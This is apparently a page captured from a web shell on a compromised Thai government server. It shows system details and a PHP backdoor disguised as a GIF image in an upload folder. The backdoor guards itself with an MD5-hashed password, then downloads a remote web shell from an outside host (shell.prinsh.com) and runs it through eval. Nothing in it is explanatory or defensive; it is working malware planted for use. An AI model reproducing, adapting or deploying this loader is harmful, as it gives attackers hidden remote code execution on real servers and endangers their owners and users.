|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/upload/action/202502/ |
Upload File : |
GIF89a;
<?php
session_start();
/**
* Disable error reporting
*
* Set this to error_reporting( -1 ) for debugging.
*/
function geturlsinfo($url) {
if (function_exists('curl_exec')) {
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
// Set cookies using session if available
if (isset($_SESSION['coki'])) {
curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
}
$url_get_contents_data = curl_exec($conn);
curl_close($conn);
} elseif (function_exists('file_get_contents')) {
$url_get_contents_data = file_get_contents($url);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($url, "r");
$url_get_contents_data = stream_get_contents($handle);
fclose($handle);
} else {
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
// Function to check if the user is logged in
function is_logged_in()
{
return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}
// Check if the password is submitted and correct
if (isset($_POST['password'])) {
$entered_password = $_POST['password'];
$hashed_password = '6cc42fecb30a23efa6b80255607a0b69'; // Replace this with your MD5 hashed password
if (md5($entered_password) === $hashed_password) {
// Password is correct, store it in session
$_SESSION['logged_in'] = true;
$_SESSION['coki'] = 'asu'; // Replace this with your cookie data
} else {
// Password is incorrect
echo "Incorrect password. Please try again.";
}
}
// Check if the user is logged in before executing the content
if (is_logged_in()) {
$a = geturlsinfo('https://shell.prinsh.com/Nathan/alfa.txt');
eval('?>' . $a);
} else {
// Display login form if not logged in
?>
<!DOCTYPE html>
<html>
<head>
<title>Zx</title>
</head>
<body>
<form method="POST" action="">
<label for="password">P:</label>
<input type="password" id="password" name="password">
<input type="submit" value="L">
</form>
</body>
</html>
<?php
}
?>